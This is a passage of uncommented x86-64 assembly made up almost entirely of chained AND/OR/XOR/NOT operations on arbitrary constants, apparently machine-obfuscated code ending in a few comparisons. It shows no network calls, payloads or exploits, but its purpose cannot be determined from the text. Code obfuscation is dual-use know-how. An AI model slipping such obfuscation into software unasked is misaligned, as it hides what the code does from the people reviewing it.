xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x8d6e4b0d
and ebx, 0x7291b4f2
or ebx, eax
mov edx, ebx
mov eax, ebx
xor eax, 0xf6d14895
and eax, ebx
not ebx
and ebx, 0x32114814
and edx, 0xc4c00081
or edx, ebx
mov ecx, edx
xor ecx, 0x4c00081
xor edx, 0x3b3fff7e
mov ebx, eax
not ebx
mov edi, edx
and edi, 0xda03d252
and ecx, 0x24d00885
or ecx, edi
or edx, ebx
and ebx, 0xda03d252
and eax, 0x25fc2dad
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x2cffbcb2
and edx, 0xd300434d
or edx, eax
mov r10d, edx
xor r10d, 0x25d10bd8
mov eax, r9d
and eax, 0xbcc4dc5b
and r9d, r11d
and r11d, 0x433b23a4
or r11d, eax
mov eax, r11d
xor eax, 0x220384
xor r11d, 0xbcc4dc5b
mov ecx, r9d
not ecx
mov ebx, r11d
and ebx, 0xcb19f829
and eax, 0x34e607d6
or eax, ebx
or r11d, ecx
and ecx, 0xcb19f829
and r9d, 0x34e607d6
or r9d, ecx
xor r9d, eax
not r11d
or r11d, r9d
mov eax, r11d
not eax
mov ecx, r11d
xor ecx, 0xe96e18dc
mov ebx, ecx
and ebx, eax
and ecx, r11d
mov edi, ebx
not edi
mov esi, ecx
not esi
mov r9d, edi
and r9d, 0xf7b9e0de
and ebx, 0x8461f21
or ebx, r9d
or edi, esi
and esi, 0xf7b9e0de
and ecx, 0x8461f21
or ecx, esi
xor ecx, ebx
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x40abc466
and edi, 0xbf543b99
or edi, ecx
xor edi, 0x563a2345
and r11d, 0x3db79528
and eax, 0xc2486ad7
or eax, r11d
xor eax, 0xc2486ad7
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa9120153
mov ebx, eax
and ebx, 0x10040020
or ebx, ecx
xor ebx, 0x10040020
and eax, 0x46e9fe8c
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x46e9fe8c
and eax, 0xb9160173
or eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x67cbdf03
and eax, 0x983420fc
or eax, ebx
xor eax, 0x67cbdf03
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
xor edx, 0xda2ef427
mov ebx, r10d
mov edi, edx
and edi, 0x4b5255a
and r10d, 0xfb4adaa5
or r10d, edi
xor r10d, 0x4b5255a
or r10d, eax
and eax, edx
and ebx, ecx
or ebx, eax
not ebx
or ebx, edx
mov edi, ebx
not edi
not r10d
or edx, ecx
not edx
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov esi, edx
not esi
mov r15d, ebx
or r15d, esi
mov ecx, r15d
not ecx
and ebx, 0xf6ab177b
and edi, 0x954e884
or edi, ebx
and esi, 0xf6ab177b
and edx, 0x954e884
or edx, esi
xor edx, edi
mov ebx, edx
not ebx
mov eax, r15d
and eax, 0x11e86753
and ecx, 0xee1798ac
or ecx, eax
or r15d, ebx
and ebx, 0x11e86753
and edx, 0xee1798ac
or edx, ebx
xor edx, ecx
not r15d
or r15d, edx
mov r14d, r15d
not r14d
mov eax, r15d
or eax, 0x94d082d5
mov ecx, eax
not ecx
mov ebx, r14d
or ebx, 0x6b2f7d2a
mov edx, ebx
not edx
and eax, 0x7a9af67a
and ecx, 0x1250900
or ecx, eax
and ebx, 0x7a9af67a
and edx, 0x84400085
or edx, ebx
xor edx, ecx
mov eax, edx
not eax
and eax, 0x94d082d5
and edx, 0x6b2f7d2a
or edx, eax
mov ebx, edx
not ebx
and edx, 0xc5996d4
and ebx, 0xf3a6692b
or ebx, edx
mov edi, ebx
xor edi, 0x12206829
xor ebx, 0xc5996d4
mov eax, r14d
or eax, r15d
mov ecx, eax
not ecx
and ecx, 0x6da99003
and eax, 0x92566ffc
or eax, ecx
mov ecx, eax
xor ecx, 0x120068b8
xor eax, 0x6da99003
mov r10d, ebx
or r10d, eax
mov edx, r10d
not edx
and ebx, 0xe5d68746
and edi, 0x1a2978b9
or edi, ebx
and eax, 0xe5d68746
and ecx, 0x1a2978b9
or ecx, eax
xor ecx, edi
mov eax, ecx
not eax
mov ebx, r10d
and ebx, 0x95b09b1c
and edx, 0x6a4f64e3
or edx, ebx
or r10d, eax
and eax, 0x95b09b1c
and ecx, 0x6a4f64e3
or ecx, eax
xor ecx, edx
not r10d
or r10d, ecx
mov r9d, r10d
not r9d
mov eax, r10d
xor eax, 0xf53280f4
and eax, r10d
mov edi, r10d
or edi, 0xacd7f0b
mov edx, eax
not edx
mov ebx, edi
and ebx, 0x6394c0e3
mov ecx, r9d
and ecx, 0x94220014
or ecx, ebx
or edi, edx
and edx, 0x6394c0e3
and eax, 0x9c6b3f1c
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, edi
not eax
mov edx, r9d
and edx, 0x6346356c
mov ebx, r10d
and ebx, 0x9cb9ca93
or ebx, edx
mov edx, ebx
xor edx, 0x9c904a91
xor ebx, 0x6346356c
mov ecx, edi
and ecx, 0x412fa062
and eax, 0xbed05f9d
or eax, ecx
or edi, ebx
and ebx, 0x412fa062
and edx, 0xbed05f9d
or edx, ebx
xor edx, eax
not edi
or edi, edx
mov eax, edi
not eax
and eax, 0x76ee0c71
and edi, 0x8911f38e
or edi, eax
mov r12d, edi
xor r12d, 0x8911f38e
mov r11d, edi
xor r11d, 0x76ee0c71
mov eax, r14d
and eax, 0xacd7f0b
mov edx, r15d
and edx, 0xf53280f4
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x39bb4c8f
and edx, 0xc644b370
or edx, ecx
and r15d, 0x39bb4c8f
and r14d, 0xc644b370
or r14d, r15d
xor r14d, edx
not r14d
or r14d, eax
mov eax, r14d
not eax
mov ecx, r14d
and ecx, 0x71d018e1
mov ebx, eax
xor r14d, 0xced686df
and r14d, eax
and eax, 0x8e2fe71e
or eax, ecx
mov edx, eax
xor edx, 0x8e2fe71e
and edx, r11d
xor eax, 0x71d018e1
and eax, r12d
or eax, edx
not eax
or eax, r11d
mov r15d, eax
not r15d
xor edi, 0xb8388aae
and edi, r12d
or ebx, 0xced686df
mov edx, ebx
not edx
or r12d, 0xced686df
mov ecx, edi
not ecx
mov esi, r12d
and esi, 0xa98dcc6d
and r11d, 0x10203100
or r11d, esi
or r12d, ecx
and ecx, 0xa98dcc6d
and edi, 0x56723392
or edi, ecx
xor edi, r11d
not r12d
or r12d, edi
mov ecx, r14d
not ecx
mov edi, ebx
and edi, 0x8cc1c088
and edx, 0x31283920
or edx, edi
or ebx, ecx
and ecx, 0x8cc1c088
and r14d, 0x733e3f77
or r14d, ecx
xor r14d, edx
not ebx
or ebx, r14d
mov ecx, r12d
not ecx
and ecx, ebx
not ebx
and ebx, r12d
or ebx, ecx
mov ecx, eax
and ecx, 0x1af3073d
and r15d, 0xe50cf8c2
or r15d, ecx
mov r11d, r15d
xor r11d, 0xe50cf8c2
mov esi, ebx
mov ecx, ebx
xor ecx, 0xebda79d9
and ecx, ebx
not ebx
and ebx, 0xa0b2e52c
and esi, 0x5f4d1ad3
or esi, ebx
mov edi, esi
xor edi, 0x5f4d1ad3
xor r15d, 0xad20119
or r15d, 0x14258626
mov ebx, r15d
not ebx
or eax, 0xebda79d9
mov edx, eax
not edx
xor esi, 0x4b689cf5
and esi, edi
and r15d, 0xc22250c
and ebx, 0xe3d858d1
or ebx, r15d
and eax, 0xc22250c
and edx, 0x10058222
or edx, eax
xor edx, ebx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, edx
not eax
and eax, 0xb9c2b52a
and edx, 0x463d4ad5
or edx, eax
mov eax, ecx
not eax
and eax, 0xb9c2b52a
and ecx, 0x463d4ad5
or ecx, eax
xor ecx, edx
mov eax, r11d
and eax, edi
xor edi, r11d
or edi, eax
mov eax, edi
not eax
and eax, 0x35db02de
and edi, 0xca24fd21
or edi, eax
mov edx, edi
xor edx, 0x201520
mov eax, ecx
not eax
xor edi, 0x35db02de
mov ebx, eax
and ebx, 0xea55ea4b
and ecx, 0x15aa15b4
or ecx, ebx
or eax, edi
and edi, 0xea55ea4b
and edx, 0x15aa15b4
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov edi, eax
not edi
mov edx, edi
and edx, eax
mov ecx, edi
and ecx, edx
xor edx, edi
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc31cb96f
and edx, 0x3ce34690
or edx, ecx
mov esi, edx
xor esi, 0x3ce34690
xor edx, 0x4110086d
and edx, 0x71d30e6d
mov ecx, esi
and ecx, 0x8e2cf192
or ecx, edx
xor ecx, 0xfea2f512
and esi, 0x8f71fb7f
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x4af1b837
and esi, 0xb50e47c8
or esi, ecx
mov r11d, esi
xor r11d, 0xb50e47c8
mov ecx, esi
xor ecx, 0x2f13002
mov edx, edi
and edx, 0xd119af94
and eax, 0x2ee6506b
or eax, edx
xor eax, 0x5e6854eb
or eax, edi
mov edi, eax
not edi
and ecx, 0x17f732c2
xor esi, 0x2e5769af
and esi, r11d
and r11d, 0xe808cd3d
or r11d, ecx
mov r14d, r11d
xor r14d, 0xe808cd3d
mov ecx, eax
and ecx, 0xe7c6334b
xor eax, 0x64a6d198
and eax, edi
and edi, 0x1839ccb4
or edi, ecx
mov r15d, edi
xor r15d, 0x18008814
xor r11d, 0x17f732c2
mov edx, r14d
and edx, 0x9b592e67
xor edi, 0xe7c6334b
mov ebx, edi
or ebx, 0x64a6d198
mov ecx, ebx
not ecx
mov r12d, edx
and r12d, esi
xor esi, edx
or esi, r12d
mov edx, eax
not edx
mov r12d, ebx
and r12d, 0x4961c2d4
and ecx, 0x92182c23
or ecx, r12d
or ebx, edx
and edx, 0x4961c2d4
and eax, 0xb69e3d2b
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
mov eax, r11d
and eax, 0xa7ff65e3
and r14d, 0x58009a1c
or r14d, eax
or r11d, edi
and edi, 0xa7ff65e3
and r15d, 0x58009a1c
or r15d, edi
xor r15d, r14d
not r11d
or r11d, r15d
mov eax, r11d
not eax
and eax, 0x322f0f0a
and r11d, 0xcdd0f0f5
or r11d, eax
xor r11d, 0xcdd0f0f5
mov eax, ebx
and eax, r11d
xor r11d, ebx
or r11d, eax
mov eax, r11d
not eax
and eax, 0xb48064
mov ecx, r11d
and ecx, 0x85080411
or ecx, eax
xor ecx, 0x85080411
and r11d, 0x7a437b8a
or r11d, ecx
mov eax, r10d
and eax, 0x5f275c2f
mov ecx, r9d
and ecx, 0xa0d8a3d0
or ecx, eax
xor ecx, 0xa0d8a3d1
mov edi, r9d
and edi, 0xfffffffe
or edi, ecx
and r9d, 1
and r10d, 0xfffffffe
or r10d, r9d
mov edx, r10d
not edx
mov ecx, edx
and ecx, 0xf9fb7857
and r10d, 0x60487a8
or r10d, ecx
mov ebx, r10d
xor ebx, 0x60487a8
mov ecx, edi
xor ecx, 0x86822042
mov r9d, ecx
and r9d, edi
mov r14d, edi
and r14d, ebx
xor ebx, edi
not edi
and ecx, edi
xor r10d, 0x79795815
or r10d, 0x86822042
mov edi, r10d
not edi
or edx, 0x797ddfbd
mov eax, edx
not eax
mov esi, r9d
and esi, ecx
xor ecx, r9d
or ecx, esi
and r10d, 0x3cbaf731
and edi, 0x4145088c
or edi, r10d
and edx, 0x3cbaf731
and eax, 0x82000042
or eax, edx
xor eax, edi
mov edx, ecx
not edx
and edx, 0xe7b9bcb7
and ecx, 0x18464348
or ecx, edx
mov edx, eax
not edx
and edx, 0xe7b9bcb7
and eax, 0x18464348
or eax, edx
xor eax, ecx
or ebx, r14d
not ebx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov edi, ebx
not edi
mov eax, ebx
mov esi, edi
and esi, ebx
mov ecx, edi
and ecx, 0x9d76cd0b
and ebx, 0x628932f4
or ebx, ecx
xor ebx, 0x9d76cd0b
or ebx, edi
and edi, 0x1eae89bf
and eax, 0xe1517640
or eax, edi
mov ecx, eax
xor ecx, 0x80414440
xor eax, 0x1eae89bf
mov edx, esi
not edx
mov edi, eax
and edi, 0x61b83bae
and ecx, 0x9e47c451
or ecx, edi
or eax, edx
and edx, 0x61b83bae
and esi, 0x9e47c451
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and eax, 0x585be369
and ecx, 0xa7a41c96
or ecx, eax
mov edx, ecx
xor edx, 0xa7a41c96
mov eax, ebx
not eax
mov r9d, ecx
xor r9d, 0x585be369
mov edi, ebx
and edi, 0x54b69a0b
xor ebx, 0xc26c18a0
and ebx, eax
and eax, 0xab4965f4
or eax, edi
mov r10d, eax
xor r10d, 0xab4965f4
xor ecx, 0x9a37fbc9
and ecx, edx
or edx, 0xc26c18a0
mov esi, edx
not esi
xor eax, 0x1492820b
or eax, 0xc26c18a0
mov r14d, eax
not r14d
mov edi, ecx
not edi
mov r15d, edx
and r15d, 0xa8969e88
and esi, 0x15016157
or esi, r15d
or edx, edi
and edi, 0xa8969e88
and ecx, 0x57696177
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, ebx
not ecx
mov esi, eax
and esi, 0xdf85d383
and r14d, 0x2012245c
or r14d, esi
or eax, ecx
and ecx, 0xdf85d383
and ebx, 0x207a2c7c
or ebx, ecx
xor ebx, r14d
not eax
or eax, ebx
mov ecx, edx
not ecx
and ecx, 0xca07dcf1
and edx, 0x35f8230e
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0xca07dcf1
and eax, 0x35f8230e
or eax, ecx
xor eax, edx
mov ecx, r9d
and ecx, r10d
xor r10d, r9d
or r10d, ecx
mov ecx, r10d
not ecx
mov esi, eax
not esi
mov edx, esi
and edx, 0x6762d2a6
and eax, 0x989d2d59
or eax, edx
or esi, r10d
and r10d, 0x6762d2a6
and ecx, 0x989d2d59
or ecx, r10d
xor ecx, eax
not esi
or esi, ecx
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x61a1008d
mov edi, esi
and edi, 0x804c002
or edi, eax
mov eax, edi
xor eax, 2
xor edi, 0xb59912e0
mov ecx, ebx
or ecx, 0x69a5c08f
mov edx, ecx
not edx
and edi, 0xbd9dd2e0
and eax, 0x4020000f
or eax, edi
and ecx, 0xbd9dd2e0
and edx, 0x2422d10
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0x69a5c08f
and edx, 0x965a3f70
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xe4b3c1d9
and edx, 0x1b4c3e26
or edx, ecx
and esi, 0xe4b3c1d9
and ebx, 0x1b4c3e26
or ebx, esi
xor ebx, edx
xor eax, ebx
and eax, ebx
mov r10d, r11d
not r10d
mov r9d, r10d
and r9d, 0x58385e66
mov edx, eax
not edx
mov ebx, edx
mov esi, eax
xor r10d, eax
not r10d
and r10d, eax
and edx, 0x2a810bae
and eax, 0xd57ef451
or eax, edx
xor eax, r11d
xor eax, 0x2a810bae
and eax, r11d
and r11d, 0xa7c7a199
or r11d, r9d
mov edx, r11d
xor edx, 0x607a198
and ebx, 0x2aeed704
and esi, 0xd51128fb
or esi, ebx
mov edi, esi
xor edi, 0x141120f8
xor r11d, 0x58385e66
xor esi, 0x2aeed704
mov ebx, r11d
and ebx, 0xe9c85a03
and edx, 0x1637a5fc
or edx, ebx
or r11d, esi
and esi, 0xe9c85a03
and edi, 0x1637a5fc
or edi, esi
xor edi, edx
not r11d
or r11d, edi
mov edx, r11d
not edx
and edx, 0x6054de4d
and r11d, 0x9fab21b2
or r11d, edx
mov r15d, r11d
xor r15d, 0x9b0b2002
xor r11d, 0x6054de4d
mov ecx, r10d
and ecx, eax
xor eax, r10d
or eax, ecx
mov ecx, r11d
and ecx, 0x44b41bb1
and r15d, 0xbb4be44e
or r15d, ecx
mov r9d, r15d
xor r9d, 0xbb4be44e
mov r10d, eax
not r10d
mov edx, r15d
xor edx, 0xdb262086
and edx, r9d
or r11d, 0x9f923b37
mov ebx, r11d
not ebx
mov esi, r10d
and esi, 0x9f923b37
mov ecx, eax
and ecx, 0x606dc4c8
or ecx, esi
mov esi, edx
not esi
mov r14d, esi
and r14d, 0x25a42f06
and edx, 0xda5bd0f9
or edx, r14d
or esi, r11d
and r11d, 0x25a42f06
and ebx, 0x4049c0c8
or ebx, r11d
xor ebx, edx
not esi
or esi, ebx
mov edx, esi
not edx
and edx, 0x179d0bc1
and esi, 0xe862f43e
or esi, edx
mov edx, ecx
not edx
and edx, 0x179d0bc1
and ecx, 0xe862f43e
or ecx, edx
xor ecx, esi
xor r15d, 0x44b41bb1
mov edx, r15d
and edx, 0x6141c5c6
and r9d, 0x9ebe3a39
or r9d, edx
or r15d, eax
and eax, 0x6141c5c6
and r10d, 0x9ebe3a39
or r10d, eax
xor r10d, r9d
not r15d
or r15d, r10d
mov eax, r15d
not eax
and eax, 0xff115134
and r15d, 0xeeaecb
or r15d, eax
xor r15d, 0xeeaecb
mov eax, ecx
and eax, r15d
xor r15d, ecx
or r15d, eax
mov r9d, r15d
not r9d
mov eax, r9d
and eax, 0xc1a30229
mov ecx, r15d
and ecx, 0x3e5cfdd6
or ecx, eax
mov eax, ecx
xor eax, 0x24186d12
xor ecx, 0x81010020
and ecx, 0x9b4590e4
and eax, 0x64ba6f1b
or eax, ecx
mov ebx, eax
xor ebx, 0x44102d00
xor eax, 0x110590e4
and eax, 0x31afd2ff
and ebx, 0xce502d00
or ebx, eax
mov eax, ebx
xor eax, 0x30af5241
xor ebx, 0xce502d00
mov ecx, r9d
and ecx, 0x42fc84d8
mov edx, r15d
and edx, 0xbd037b27
or edx, ecx
xor edx, 0x42fc84d8
or edx, r9d
and eax, 0x3aff7a41
mov r14d, ebx
and r14d, 0xc50085be
or r14d, eax
mov ecx, r14d
xor ecx, 0xc50085be
xor r14d, 0xd80a7a83
and r14d, ecx
mov r10d, edx
mov r11d, ecx
and r11d, edx
xor ecx, edx
not edx
and ebx, 0x1d0aff3d
or edx, 0x1d0aff3d
mov eax, edx
not eax
or r10d, 0xe2f500c2
mov esi, r10d
not esi
mov edi, r14d
and edi, ebx
xor ebx, r14d
or ebx, edi
and edx, 0x5f8ec68b
and eax, 0xa0710040
or eax, edx
and r10d, 0x5f8ec68b
and esi, 0x3934
or esi, r10d
xor esi, eax
mov eax, ebx
not eax
and eax, 0xdc434a27
and ebx, 0x23bcb5d8
or ebx, eax
mov eax, esi
not eax
and eax, 0xdc434a27
and esi, 0x23bcb5d8
or esi, eax
xor esi, ebx
or ecx, r11d
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfa950bb6
and edx, eax
and ecx, 0x56af449
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov r12d, ecx
not r12d
mov eax, r12d
and eax, 0xb0cb6cfa
and ecx, 0x4f349305
or ecx, eax
xor ecx, 0x4a5e674c
xor r12d, ecx
and r12d, ecx
mov eax, r9d
and eax, 0x5484049
mov ebx, r15d
and ebx, 0x22b400
or ebx, eax
mov eax, ebx
xor eax, 0x220400
xor ebx, 0xffdd4bff
mov ecx, r15d
xor ecx, 0x56af449
and ecx, r15d
mov edi, ecx
not edi
mov edx, ebx
and edx, 0x8fd9b1b9
and eax, 0x224440
or eax, edx
or ebx, edi
and edi, 0x8fd9b1b9
and ecx, 0x70264e46
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and r9d, 0x79cf40e1
and r15d, 0x8630bf1e
or r15d, r9d
mov ecx, r15d
xor ecx, 0x230b310
xor r15d, 0x79cf40e1
mov edx, ebx
and edx, 0x9c470c4f
and eax, 0x63b8f3b0
or eax, edx
or ebx, r15d
and r15d, 0x9c470c4f
and ecx, 0x63b8f3b0
or ecx, r15d
xor ecx, eax
not ebx
or ebx, ecx
mov r13d, ebx
not r13d
mov r9d, r12d
not r9d
mov eax, r12d
or eax, 0x5269bd53
mov edx, eax
not edx
mov edi, r12d
xor edi, 0xad9642ac
and edi, r12d
mov esi, edi
not esi
mov ecx, eax
and ecx, 0xea1aba9
and edx, 0xa1164004
or edx, ecx
or eax, esi
and esi, 0xea1aba9
and edi, 0xf15e5456
or edi, esi
xor edi, edx
not eax
or eax, edi
mov ecx, eax
not ecx
and ecx, 0x786aae9b
and eax, 0x87955164
or eax, ecx
mov r10d, eax
xor r10d, 0x2a0313c8
mov esi, r13d
mov ecx, ebx
and ecx, 0x2bc03526
and r13d, 0xd43fcad9
or r13d, ecx
not r13d
or r13d, ebx
and ebx, 0xf7859235
and esi, 0x87a6dca
or esi, ebx
mov ecx, esi
not ecx
and ecx, 0xbf9e533f
and esi, 0x4061acc0
or esi, ecx
mov r11d, esi
xor r11d, 0xb7e43ef5
xor eax, 0xd5fcec37
mov r14d, eax
and r14d, 0xe90c1c56
xor esi, 0x481bc10a
mov r15d, esi
mov edx, esi
mov edi, r10d
xor edi, esi
and edi, r10d
and esi, r10d
and r10d, 0x16f3e3a9
or r10d, r14d
xor r10d, 0xc2cc2970
or r10d, eax
and r9d, 0x2bc03526
xor r12d, 0xd43fcad9
or r12d, r9d
and eax, r11d
and r11d, 0x3b828e20
and r15d, 0xc47d71df
or r15d, r11d
mov r9d, r10d
xor r9d, 0xe50b9495
and r9d, r10d
mov ebx, r12d
xor ebx, 0xe50b9495
and ebx, r12d
mov r14d, r12d
mov r11d, r10d
and r11d, r12d
xor r12d, r10d
not r10d
xor r15d, 0xefbd44f9
and edx, 0xd43fcad9
or edx, r15d
mov ecx, edx
not ecx
and ecx, 0xac218803
and edx, 0x53de77fc
or edx, ecx
and r10d, 0xe50b9495
or r14d, 0x1af46b6a
mov ecx, r9d
and ecx, r10d
xor r10d, r9d
or r10d, ecx
mov ecx, ebx
not ecx
mov r9d, ecx
and r9d, 0x808bb872
and ebx, 0x7f74478d
or ebx, r9d
mov r9d, r14d
not r9d
or ecx, r14d
and r14d, 0x808bb872
and r9d, 0x65000485
or r9d, r14d
mov r14d, edx
xor r14d, 0x53de77fc
xor r9d, ebx
not ecx
or ecx, r9d
mov ebx, r10d
not ebx
and ebx, 0x9871ba11
and r10d, 0x678e45ee
or r10d, ebx
mov ebx, ecx
not ebx
and ebx, 0x9871ba11
and ecx, 0x678e45ee
or ecx, ebx
xor ecx, r10d
or r12d, r11d
not r12d
mov ebx, ecx
and ebx, r12d
xor r12d, ecx
or r12d, ebx
mov ebx, edx
xor ebx, 0xac218803
mov r9d, ebx
mov ecx, r13d
xor ecx, 0x44174fde
mov r10d, ecx
and r10d, r13d
mov r11d, ebx
and r11d, r13d
xor ebx, r13d
not r13d
and r9d, 0xbbe8b021
xor edx, 0xe836c7dd
and edx, r14d
and ecx, r13d
mov r14d, r9d
and r14d, edx
xor edx, r9d
or edx, r14d
mov r9d, r10d
and r9d, ecx
xor ecx, r10d
or ecx, r9d
mov r9d, edx
not r9d
and r9d, ecx
not ecx
and ecx, edx
or ecx, r9d
or ebx, r11d
mov edx, ebx
not edx
and edx, 0x603c29e2
and ebx, 0x9fc3d61d
or ebx, edx
xor ebx, 0x9fc3d61d
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, r12d
xor ecx, 0xf4f90e35
and ecx, r12d
not r12d
and r12d, 0xf4f90e35
mov edx, ebx
xor edx, 0xf4f90e35
and edx, ebx
or ebx, 0xb06f1ca
mov r9d, ebx
not r9d
mov r10d, r12d
and r10d, ecx
xor ecx, r12d
or ecx, r10d
mov r10d, edx
not r10d
mov r11d, ebx
and r11d, 0xbbd89f0f
and r9d, 0x44210030
or r9d, r11d
or ebx, r10d
and r10d, 0xbbd89f0f
and edx, 0x442760f0
or edx, r10d
xor edx, r9d
not ebx
or ebx, edx
mov edx, ecx
not edx
and edx, ebx
not ebx
and ebx, ecx
or ebx, edx
or esi, eax
mov eax, edi
and eax, esi
xor esi, edi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x350c5829
and eax, esi
and esi, 0xcaf3a7d6
or esi, ecx
xor esi, 0xcaf3a7d6
mov ecx, esi
and ecx, eax
xor esi, eax
or esi, ecx
mov r9d, ebx
not r9d
mov ecx, esi
not ecx
and ecx, 0x347709c7
mov edx, esi
and edx, 0xcb88f638
or edx, ecx
mov r10d, edx
xor r10d, 0xcb88f638
mov edi, ebx
xor edi, 0x1c460c6b
and edi, r9d
mov eax, ebx
and eax, 0xe3b9f394
mov ecx, edx
xor ecx, 0x283105ac
and ecx, r10d
and esi, 0xe3b9f394
mov r11d, edi
and r11d, eax
xor eax, edi
or eax, r11d
mov edi, ecx
and edi, esi
xor esi, ecx
or esi, edi
mov ecx, eax
not ecx
and ecx, 0x6915a16f
and eax, 0x96ea5e90
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0x6915a16f
and esi, 0x96ea5e90
or esi, ecx
xor esi, eax
xor edx, 0x347709c7
mov eax, ebx
and eax, 0x6ca7734
and r9d, 0xf93588cb
or r9d, eax
or ebx, edx
and edx, 0x6ca7734
and r10d, 0xf93588cb
or r10d, edx
xor r10d, r9d
not ebx
or ebx, r10d
mov eax, ebx
not eax
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x122b6da6
and esi, 0xedd49259
or esi, ecx
or edx, ebx
and ebx, 0x122b6da6
and eax, 0xedd49259
or eax, ebx
xor eax, esi
not edx
or edx, eax
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0xe5ce27b6
mov eax, ecx
and eax, 0x1a31d849
or eax, ebx
mov ebx, eax
xor ebx, 0x8001800
xor eax, 0x604e0090
and eax, 0x727fc0d9
and ebx, 0x8d803f26
or ebx, eax
mov eax, ebx
xor eax, 0x88eacb6f
xor ebx, 0x8d803f26
and ebx, eax
and ecx, 0x375bbfda
and edx, 0xc8a44025
or edx, ecx
mov eax, edx
xor eax, 0xc8840024
and eax, 0xfa950bb6
xor edx, 0x32314b93
or edx, eax
mov eax, edx
not eax
and eax, 0xf93d6c4a
and edx, 0x6c293b5
or edx, eax
mov eax, edx
xor eax, 0x6c293b5
xor edx, 0xf93d6c4a
mov ecx, ebx
not ecx
and eax, ecx
or ecx, edx
not ecx
and edx, ebx
or edx, eax
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov r10d, edx
mov r9d, edx
mov edi, edx
mov r11d, edx
xor r11d, 0xf6fe6032
and r11d, edx
not edx
mov esi, edx
and esi, 0xc46f926e
and r10d, 0x3b906d91
or r10d, esi
mov ecx, r10d
not ecx
and ecx, 0x4b653f14
and r10d, 0xb49ac0eb
or r10d, ecx
mov ecx, r10d
xor ecx, 0x345085
xor r10d, 0x8f0aad7a
and ecx, 0x4345c9d
mov ebx, r10d
and ebx, 0xfbcba362
or ebx, ecx
xor ebx, 0xfbcba362
or ebx, r10d
mov ecx, ebx
not ecx
and ecx, 0xbf52dd2c
and ebx, 0x40ad22d3
or ebx, ecx
mov ecx, ebx
xor ecx, 0x40a42202
and r9d, 0x1fe9812e
and edx, 0xe0167ed1
or edx, r9d
mov esi, edx
xor esi, 0x40043a00
xor edx, 0x1fe9812e
xor ebx, 0xbf52dd2c
mov eax, ebx
or eax, edx
not eax
and ebx, 0xb81b44f9
and ecx, 0x47e4bb06
or ecx, ebx
and edx, 0xb81b44f9
and esi, 0x47e4bb06
or esi, edx
xor esi, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov ebx, esi
not ebx
or esi, 0x4a0557eb
mov edx, esi
not edx
or ebx, 0xb5faa814
mov ecx, ebx
not ecx
and esi, 0xc82317c8
and edx, 0x35d8a814
or edx, esi
and ebx, 0xc82317c8
and ecx, 0x2044023
or ecx, ebx
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x4e83dae3
and ecx, 0xb17c251c
or ecx, edx
mov edx, ecx
xor edx, 0x4800508
or edi, 0x9019fcd
mov ebx, edi
not ebx
mov eax, r11d
not eax
mov esi, edi
and esi, 0x29110fd5
and ebx, 0xd6ee6022
or ebx, esi
or edi, eax
and eax, 0x29110fd5
and r11d, 0xd6eef02a
or r11d, eax
xor r11d, ebx
not edi
or edi, r11d
mov ebx, edi
not ebx
and ebx, 0x2035d8a8
and edi, 0xdfca2757
or edi, ebx
mov eax, edi
xor eax, 0x8100764
xor ecx, 0xfb7972f7
xor edi, 0xd6cbb89a
mov ebx, ecx
or ebx, edi
not ebx
and ecx, 0x6166d811
and edx, 0x9e9927ee
or edx, ecx
and edi, 0x6166d811
and eax, 0x9e9927ee
or eax, edi
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x216affef
and eax, 0xde950010
or eax, ecx
mov ecx, eax
xor ecx, 0x8c840000
xor eax, 0x1288680
and eax, 0x53398690
and ecx, 0xacc6796f
or ecx, eax
mov eax, ecx
xor eax, 0x12210210
xor ecx, 0xac004068
and ecx, 0xed18c4e8
and eax, 0x12e73b17
or eax, ecx
mov ecx, eax
xor ecx, 0x220305
xor eax, 0x20100080
and eax, 0x32d53892
and ecx, 0xcd2ac76d
or ecx, eax
xor ecx, 0x32d53892
cmp ecx, 0xffffffff
setne sil
sete r12b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg r9b
mov r8d, r9d
xor r8b, r11b
mov r10d, r8d
xor r10b, 1
mov edx, r10d
and dl, r8b
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov edi, edx
xor dil, 1
mov ebx, edi
and bl, dl
mov ecx, edi
and cl, bl
xor bl, dil
or bl, cl
